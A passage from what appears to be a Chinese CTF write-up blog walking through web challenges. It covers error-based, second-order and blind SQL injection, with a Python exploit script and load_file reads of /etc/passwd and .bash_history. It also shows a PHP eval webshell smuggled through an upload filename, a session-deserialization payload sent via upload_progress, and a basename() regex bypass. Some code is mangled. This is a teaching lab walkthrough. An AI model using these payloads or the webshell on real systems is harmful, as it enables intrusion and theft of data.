1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))))#

来爆出我们所需字段,然后爆real_flag_1s_here字段的内容

1
2
1"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))#

但是发现只出现一部分,所以我们可以使用reverse()函数来倒转输出

1
1"||extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#

最后拼接即可

参考文章:[https://blog.csdn.net/SopRomeo/article/details/107324563]

 [https://blog.csdn.net/qq_36761831/article/details/82862135]

实例3([网鼎杯 2018]Comment)

打开页面,发现是一个留言板,然后发现要发帖的话,需要先登录,而它有提示是

1
zhangwei***

后面是三位数字,所以可以使用爆破的方法,爆出密码为zhangwei666,然后就没有发现什么有价值的信息,所以使用GitHack.py进行扫描,发现有.git文件泄露

write_do.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

但是发现代码补全,然后查看控制台,发现

1
程序员GIT写一半跑路了,都没来得及Commit :)

这一个重要的信息,所以我们需要找到commit的值来恢复php文件,所以使用

1
git log --all

来查看历史记录并找到commit的值,即寻找有write_do.php字段的commit,然后使用

1
git reset --hard commit的值

来恢复文件

write_do.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

在发帖处给$title、$category和$content三个参数输入的值中的特殊符号会被addslashes()函数转义,

1
2
3
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);

但是仍然会将这些值加入到数据库中,且加入到数据库后,转义的反斜杠会消失

1
2
3
4
5
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);

而在详情中的提交留言界面,只有$bo_id和$content参数的值中的特殊符号被addslashes()函数用反斜杠转义

1
2
$bo_id = addslashes($_POST['bo_id']);
$content = addslashes($_POST['content']);

而$category参数的值,是将board表中的$category参数的值拿出来,其中没有经过addslashes()函数转义

1
2
3
$result = mysql_query($sql);

$category = mysql_fetch_array($result)['category'];

所以可以看出存在二次注入,因此我们可以在反贴处中的$category写入恶意代码

1
', content=user(),/*

然后在留言处的$content参数中输入

1
*/#

其中/**/是多行注释,#是单行注释

我们可以看见

1
root@localhost

可知这是root权限,所以我们可以尝试使用load_file()函数来读取文件,和上面一样构造
发帖处

1
', content=(select hex(load_file('/etc/passwd'))),/*

留言处

1
*/#

读取历史操作

发帖处

1
', content=(select hex(load_file('/home/www/.bash_history'))),/*

留言处

1
*/#

注意到/var/www/html目录下的.DS_Store文件被删除,但是在/tmp/html目录下仍然有.DS_Store文件
发帖处

1
', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

留言处

1
*/#

然后将获取的十六进制数据放到winhex,可以看见flag_8946e1ff1ee3e40f.php
发帖处

1
', content=(select hex(load_file('/tmp/html/flag_8946e1ff1ee3e40f.php'))),/*

留言处

1
*/#

发现是一个假的flag

所以访问/var/www/html/目录下的flag_8946e1ff1ee3e40f.php
发帖处

1
', content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

留言处

1
*/#

就可以读到flag

文件泄露以及sql盲注

文件泄露以及sql盲注

当打开页面时,发现是一个登录页面,然后尝试闭合,发现没有任何回显,之后用御剑扫描,发现有robots.txt文件

1
2
User-agent: *
Disallow: *.php.bak

然后查看页面源码,发现一个可疑点

1
<div class="avtar"><img src="image.php?id=1" width="200" height="200"/></div>

中的image.php,所以我们构造

1
/image.php.bak

获取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

其中addslashes()函数作用是遇到双引号,就会加反斜杠进行转义,而这串代码

1
2
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

这里过滤了\0、%00、\‘和单引号和双引号,而这里的sql语句是

1
select * from images where id='{$id}' or path='{$path}'

所以我们可以构造

1
?id=\\0&path=or id=if(ascii(substr((database()),0,1))>20,1,0)#

来转义id参数中的第二个单引号,我写了一个测试的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$id="\\0";
$path=123;

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);

$result="select * from images where id='{$id}' or path='{$path}'";

echo $result;
?>

运行出来的sql语句为

1
select * from images where id='\' or path='123'

发现id参数的第二个单引号被转义了,所以我们可以利用id=\0来进行闭合,然后进行盲注,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

url = r'http://c32d6af2-73cd-46d0-a63a-00b34b3fd2b1.node4.buuoj.cn:81/image.php'
result = ''

for x in range(0, 100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
# payload = " or id=if(ascii(substr((database()),%d,1))>%d,1,0)#" % (x, mid)
# payload = " or id=if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),%d,1))>%d,1,0)#" % (x, mid)
payload = " or id=if(ascii(substr((select(password)from(users)),%d,1))>%d,1,0)#" % (x, mid)
params = {
'id':'\\0',
'path':payload
}
response = requests.get(url, params=params)
if b'JFIF' in response.content:
low = mid + 1
else:
high = mid
mid = (low + high) // 2

result += chr(int(mid))
print(result)

得到admin的密码为7441095711b754eb75a2,登陆后发现是一个上传文件的界面,所以我们可以试着上传一个一句话木马,发现回显一句话

1
I logged the file name you uploaded to logs/upload.33ed08807a58eb483a95bc847e4ec0a8.log.php. LOL

我们可以猜测我们的文件名可能会被写入logs/upload.33ed08807a58eb483a95bc847e4ec0a8.log.php的php文件中,然后我们尝试访问logs/upload.33ed08807a58eb483a95bc847e4ec0a8.log.php文件,发现

1
User admin uploaded file shell16.txt

用户名和上传的文件名都被写入了logs/upload.33ed08807a58eb483a95bc847e4ec0a8.log.php文件中,所以我们可以上传文件的同时抓包,修改filename的值为

1
<?php @eval($_POST[a]); ?>

但是发现好像php字符串被过滤掉了,所以我们可以使用

1
<?=@eval($_POST[a]);?>

发现可以使用,所以我们再使用蚁剑去连接就可以了

session反序列化漏洞

session反序列化漏洞

session的定义

session对象在网络应用中叫做会话控制,它会存储特定用户会话所需的属性以及配置信息,而当用户在应用程序的web页面跳转时,session对象中的变量会在整个用户会话中一直存在下去,如果此时该用户没有会话的话,服务器就会自动创建一个session对象,当会话过期或被放弃时,服务器将会终止该会话

session作用原理

当第一次访问网站的时候,Session_start()函数会创建一个唯一的Session ID,并会通过http响应头,将这个Session ID保存在客户端Cookie中,同时也会在服务器端创建一个以Session ID命名的文件,保存这个用户对话信息,当用户再次访问这个网站时,也会自动通过http请求头将cookie中保存的Session ID携带过来,此时Session_start()函数不会再分配新的Session ID,而是会在服务器的硬盘中寻找和Session ID同名的Session文件,将之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪用户的目的

session_start()

当会话自动开始或者通过session_start()手动开始时,PHPSESSID会获取现有的对应的会话数据(即session文件),PHP会自动反序列化session文件的内容,并将其填充在$_SESSION超级全局变量中,如果不存在对应的会话数据,则会创建名为sess_PHPSESSID(客户端传来的)的文件,如果客户端未发送PHPSESSID,则会创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

因此,上面有一个漏洞,就是可以利用上传一个PHPSESSID,但是在服务器端不存在对应的会话数据,所以会在特定的路径生成sess_PHPSESSID文件,然后我们可以加入恶意代码,然后包含这个服务端的文件,即可达到执行恶意代码的目的,而由于它会判断文件是否为恶意文件,是则删除,所以我们要在判断的间隙进行包含,这就叫做session条件竞争

在Linux系统中php-session存放的位置

1
2
3
4
5
/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

在php.ini中的一些Session配置

1
2
3
4
session.save_path="" --设置session的存储路径
session.save_handler=""--设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen--指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php

session机制对序列化的处理方式

不同处理器对应的存储格式

1
2
3
4
5
php对应的存储格式:键名+竖线+经过serialize()函数反序列化处理的值

php_binary对应的存储格式:键名的长度对应的ascii字符+键名+经过serialize()函数反序列化处理的值

php_serialize对应的存储格式:经过serialize()函数反序列化处理的数组

实例

1
2
3
4
5
php : lemon|s:3:"shy";

php_serialize : a:1:{s:5:"lemon";s:3:"shy";}

php_binary : lemons:3:"shy";

session反序列化漏洞的原理

当使用两个引擎来分别处理序列化和反序列化时,由于php引擎的存储格式为:键名 | serialized_string,而php_serialize引擎的存储格式为:serialized_string,此时就会出问题

php_serialize的格式存储的文件(序列化)
1.php

1
2
3
4
5
6
7
8
<?php
ini_set("session.serialize_handler","php_serialize");
session_start();
$_SESSION['lemon']=$_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>

php引擎读取session文件(反序列化)
2.php

1
2
3
4
5
6
7
8
9
10
11
<?php
ini_set("sesssion.serialize_handler","php");
session_start();
class student{
var $name;
var $age;
function __wakeup(){
echo "hello".$this->name."!";
}
}
?>

首先访问1.php,在传入的参数最开始加一个’|‘,由于1.php使用的是php_serialize引擎处理,所以只会将’|‘当作是一个正常的字符,然后访问2.php时,用的是php引擎,因此遇到’|‘时会将它看作是键名与值得分割符,从而造成漏洞,因为在解析session时会直接对’|‘后得值进行反序列化处理

在解析session时会直接对’|‘后得值进行反序列化处理的原因是

1
2
3
session_start()会通过read回调函数返回的现有会话数据(使用特殊的序列化格式存储),php会自动反序列化数据并且填充$_SESSION超级全局变量,而如果没有$_SESSION超级全局变量时,我们可以利用php中存在的upload_progress机制,即自动在$_SESSION中创建一个键值对,值中存在用户可控的部分

步骤就是

上传文件,同时post一个与session.upload.name的同名变量,后端就会自动将POST的这个同名变量作为键进行序列化然后存储在session文件中,下次请求就会反序列化session文件,从而取出这个键

1
2
3
4
5
## 题目实例

题目地址:http://web.jarvisoj.com:32784/index.php

打开页面,我们可以看见代码
mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>
1
2

看见这串代码

ini_set(‘session.serialize_handler’, ‘php’);

1
我们可以猜测是session反序列化漏洞,我们可以构造

?phpinfo=sd

1
2
可以看见php版本信息,发现session.serialize_handler默认是php_serialize,但是题目使用的是php,所以我们更加确信可以使用session反序列化漏洞,但是在php版本中发现没有$_SESSION超级全局变量,所以我们利用php中的upload_progress机制,随便上传一个文件上去
shell.html
Title
1
然后我们用exp
1
2
3
4
来读取列目录
由于disable_function限制了许多的系统函数,所以可以使用print_r(scandir(dirname(__FILE__)));

然后对生成的序列化的数据中的双引号加上反斜杠\,来防止被转义,然后按照php引擎存储的格式加上|

|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(FILE)));";}

1
2

然后将序列化数据放进filename变量中

POST /index.php HTTP/1.1
Host: web.jarvisoj.com:32784
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=—————————141584464441786179722796804373
Content-Length: 492
Connection: close
Cookie: PHPSESSID=muj965sc623533fu7g566as841
Upgrade-Insecure-Requests: 1

—————————–141584464441786179722796804373
Content-Disposition: form-data; name=”PHP_SESSION_UPLOAD_PROGRESS”

2333
—————————–141584464441786179722796804373
Content-Disposition: form-data; name=”file”; filename=”|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(FILE)));";}

Content-Type: text/plain

You Find it in GET fileName=xk0SzyKwfzw.php and param=Efa5BVG

—————————–141584464441786179722796804373–

1
即可看见列目录文件

Array
(
[0] => .
[1] => ..
[2] => Here_1s_7he_fl4g_buT_You_Cannot_see.php
[3] => index.php
[4] => phpinfo.php
)

1
然后我们可以使用file_get_contents()函数来读取我们想读的文件

|O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}

可以得到flag

参考文章:[https://blog.csdn.net/qq_43431158/article/details/99544797]

    [https://mp.weixin.qq.com/s?__biz=MzAxNzkyOTgxMw==&mid=2247487259&idx=1&sn=e70d97877c0f1a282cf56c6ad4e34d26&chksm=9bdf4c21aca8c5372350a6fa309720a07542d74f61f537229f93927eec6ff5828d9794408571&exptype=unsubscribed_card_3_article_onlinev2_1000w_promotion_level2&expsessionid=2055871802941276160&scene=169&subscene=10000&sessionid=1632156171&clicktime=1632156172&enterid=1632156172&ascene=56&devicetype=android-30&version=28000b59&nettype=cmnet&abtest_cookie=AAACAA%3D%3D&lang=zh_CN&exportkey=A8U60hrCswzBIw4qx3LcHl4%3D&pass_ticket=wgImpgfwefCQmznd1rg85X51CdNokjWKgG%2B1%2FN7vSYdFBa8eTAvqvC25RW7jJ3SP&wx_header=1]

不可见字符绕过

不可见字符绕过

打开页面后,点击source,发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>

我们看见这个提示

1
include 'config.php'; // FLAG is defined in config.php

可知,flag在config.php文件中,然后我们看见这一串加密代码

1
2
3
4
5
6
7
8
9
10

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}

发现只要我们可以绕过这个if

1
if (hash_equals($secret, $guess))

就可以读取flag,但是由于random_bytes(64)是生成加密使用的64长度的加密随机字节字符串,而hash_equals()是匹配两个字符串是否相同,所以发现这个点不可以,但是我们仔细观看preg_match()

1
preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])

$_SERVER[‘PHP_SELF’]
作用是表示php文件相对于网站根目录的位置地址

1
2
3
4
5
6
实例:http://url/php/index.php                 /php/index.php

http://url/php/index.php?test=foo /php/index.php

http://url/php/index.php/test/foo /php/index.php/test/foo

而源码中的正则过滤是如果目录路径是以config.php/结尾的话,则会触发过滤,然后我们再看这串代码

1
highlight_file(basename($_SERVER['PHP_SELF']));

basename()
作用是返回路径中文件名部分

1
2
3
4
5
6
7
8
9
10
<?php

$str1="/index.php/config.php/";

echo basename($str1)."\n";

$str2="/index.php/config.php";

echo basename($str2);
?>

所以我们可以使用highlight_file()这个函数和basename()这个函数来读取config.php文件,又因为

1
if (isset($_GET['source']))

要经过上面的if才可以执行

1
highlight_file(basename($_SERVER['PHP_SELF']));

而source参数在index.php文件中,所以在我们构造payload时需要在config.php前加index.php,因为浏览器此时只会解析index.php文件,然后我们需要构造不可见字符在config.php/后面作为结尾,从而绕过正则过滤,而这些不可见字符在baseneme()函数中会被去除掉,所以写了个脚本来获取特殊字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

function check($str){
return preg_match('/config\.php\/*$/i',$str);
}

for($i=0;$i<255;$i++){
$s='/index.php/config.php/'.chr($i);
if(!check($s)){
$t=basename('/index.php/config.php/'.chr($i));
echo "${i}:${t}\n";
}
}
?>

将不可见字符的ascii码化为16进制,并在前面加%即可使用,所以我们可以构造payload

1
/index.php/config.php/%80?source

就可以读取config.php文件